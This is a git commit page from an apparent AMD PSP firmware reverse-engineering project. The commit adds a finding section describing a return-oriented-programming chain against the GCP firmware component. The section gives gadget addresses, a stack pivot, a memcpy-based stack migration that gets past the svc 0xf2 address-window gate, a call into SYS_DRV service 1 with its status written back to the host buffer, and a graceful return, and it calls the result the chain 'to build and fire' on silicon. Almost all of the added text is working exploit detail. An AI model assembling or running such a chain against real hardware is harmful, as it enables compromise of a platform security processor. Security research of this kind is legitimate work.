aboutsummaryrefslogtreecommitdiffstats
diff options
context:
space:
mode:
authoruser <user@clank>2026-10-08 10:56:06 +0200
committeruser <user@clank>2026-10-08 10:56:06 +0200
commitc2ec77fbdea9b2c12e0a67d1c59661fc0a923cdc (patch)
tree9fcebfe87b03d5359fe421e2580b6eccf56d214f
parenthardware prep: analysis finds the svc 0xf2 gate rejects a command-buffer SP; ... (diff)
downloadamd-psp-re-c2ec77fbdea9b2c12e0a67d1c59661fc0a923cdc.tar.gz
amd-psp-re-c2ec77fbdea9b2c12e0a67d1c59661fc0a923cdc.tar.xz
amd-psp-re-c2ec77fbdea9b2c12e0a67d1c59661fc0a923cdc.zip
step 5b: stack-migration solves the svc 0xf2 SP/msg-window gate in one memcpy (operator's idea)
The clean fix for the gate constraint (SP and msg must be in [0x400000,0x800000)): have the ROP copy itself from the host buffer into the in-window GCP stack and pivot SP there, instead of pre-staging with many sel-4 writes. One memcpy satisfies both window constraints and the migrated bytes come from the fully-controlled host command buffer. Validated with real gadgets: 0x40410a 'blx 0x40111c ; movs r0,#0 ; add sp,#0x28 ; pop {r4,r5,r7,pc}' is a call-memcpy-and-continue gadget, and 0x40111c is confirmed memcpy(r0=dst,r1=src,r2=len) from the FE0A parent's own memcpy(params+0x418+sl, slot+8, len) usage. Recorded the full migration chain: pivot into host buffer -> pop r0=STACK_DST/r1=src/r2=len -> memcpy gadget copies the svc sub-chain+msg to STACK_DST (0x410000, GCP RW data, in-window, below the 0x41bfc0 frames the graceful return needs) -> repivot mov sp,STACK_DST (SP now in-window) -> migrated chain: pop r0=1/r1=STACK_DST+msgoff, svc 0xf2 (gate passes), str r0,[r5] exfil status to host buf, Addendum H graceful return. All in-window refs baked as STACK_DST+off at build time. This is the chain to build/fire; first silicon attempt stays the service-2 ASD survive-check, then service-1 0x3103 with exfil. Gadgets verified, memcpy confirmed.
-rw-r--r--fw/FINDING-GCP-ROP-TO-SYSDRV-VIA-SERVICE1.md50
1 files changed, 50 insertions, 0 deletions
diff --git a/fw/FINDING-GCP-ROP-TO-SYSDRV-VIA-SERVICE1.md b/fw/FINDING-GCP-ROP-TO-SYSDRV-VIA-SERVICE1.md
index 84a1b76..cbb8f29 100644
--- a/fw/FINDING-GCP-ROP-TO-SYSDRV-VIA-SERVICE1.md
+++ b/fw/FINDING-GCP-ROP-TO-SYSDRV-VIA-SERVICE1.md
@@ -344,3 +344,53 @@ a bounded additional build (pre-stage M + sub-chain in-window via sel-4 writes;
stack for the svc). Every gadget and the SYS_DRV-side behaviour are already in hand; this is the
remaining assembly, and the first silicon attempt should be the service-2 (ASD) survive-check, then
service-1 `0x3103` with status exfil.
+
+## Step 5b: the clean solution to the SP/msg-window gate -- STACK MIGRATION (one memcpy)
+
+Rather than pre-staging the message and sub-chain in-window with many FE0A sel-4 writes, the ROP
+copies itself from the host buffer into the in-window GCP stack and pivots there -- classic stack
+migration. One `memcpy` satisfies BOTH gate constraints (SP and msg in `[0x400000,0x800000)`), and
+the migrated bytes come straight from the fully-controlled host command buffer.
+
+A ready **call-memcpy-and-continue** gadget exists, and `0x40111c` is confirmed
+`memcpy(r0=dst, r1=src, r2=len)` (from the FE0A parent's own `memcpy(params+0x418+sl, slot+8, len)`
+call):
+
+ 0x40410a blx 0x40111c ; movs r0,#0 ; add sp,#0x28 ; pop {r4,r5,r7,pc}
+
+### The migration chain (primary chain in the host command buffer at RBASE)
+
+ pivot 0x40371c mov sp,r4 ; pop{..,pc} r4=RBASE -> SP into host buffer
+ setargs 0x40167e pop {r0,r1,r2,..,pc} r0=STACK_DST (e.g. 0x410000, GCP RW data,
+ in-window, below the live stack frames),
+ r1=RBASE+0x200 (migrated block, in host buf),
+ r2=LEN (~0x200), pc=0x40410b
+ migrate 0x40410a memcpy(STACK_DST, RBASE+0x200, LEN) ; add sp,#0x28 ; pop{r4,r5,r7,pc}
+ r4=STACK_DST, pc=0x40371d
+ repivot 0x40371c mov sp,r4(=STACK_DST) ; pop{..,pc} -> SP now IN-WINDOW; chain continues
+ reading the migrated block from the stack
+
+### The migrated block (copied to STACK_DST; all addresses relocated to STACK_DST+off)
+
+ setr01 0x40167e pop {r0,r1,..,pc} r0=1 (service 1), r1=STACK_DST+MSG_OFF, pc=0x4061cb
+ svc 0x4061ca svc 0xf2 ; add sp,#0x1c ; pop {r4,r5,pc} r5=exfil addr (host buf), pc=0x40404f
+ exfil 0x40404e str r0,[r5] ; add sp,#0x80 ; pop {r4,r5,r7,pc} -> SYS_DRV status to host buf
+ return (Addendum H graceful return: SP back to 0x41bfc0 -> 0x40498c error path, ring survives)
+ MSG_OFF: M[0]=0x3103, M[8]=STACK_DST+P_OFF, M[12]=0x44C, rest 0
+ P_OFF: zeroed (a1 buffer -> WRITE does a benign 76-byte copy, bounded, non-crashing)
+
+Because STACK_DST is known at build time, every in-window reference (msg ptr, P ptr) is baked as
+`STACK_DST + off`. `STACK_DST=0x410000` is GCP RW data `[0x407000,0x414000)`, writable, below the
+`0x41bfc0` frames the graceful return needs, and satisfies the gate: `SP-68>=0x400000`,
+`SP<0x800000`, and `sos_proc_switch`'s `memcpy(SP-68, tcb, 0x44)` writes harmlessly into RW data.
+
+### Why this is better than pre-staging
+
+* One invoke, not several: no cross-invoke persistence assumptions, no extra sel-4 writes.
+* Content is the host buffer -- already fully controlled and easy to lay out/iterate.
+* Solves SP-window and msg-window together.
+
+This is the chain to build and fire. First silicon attempt stays the service-2 (ASD) survive-check
+(set r0=2, msg a zeroed in-window buffer) to validate migration + svc + graceful return, then switch
+to service 1 / opcode 0x3103 with the status exfil for the confused-deputy confirmation. Gadgets all
+verified present in GCP .77; memcpy semantics confirmed.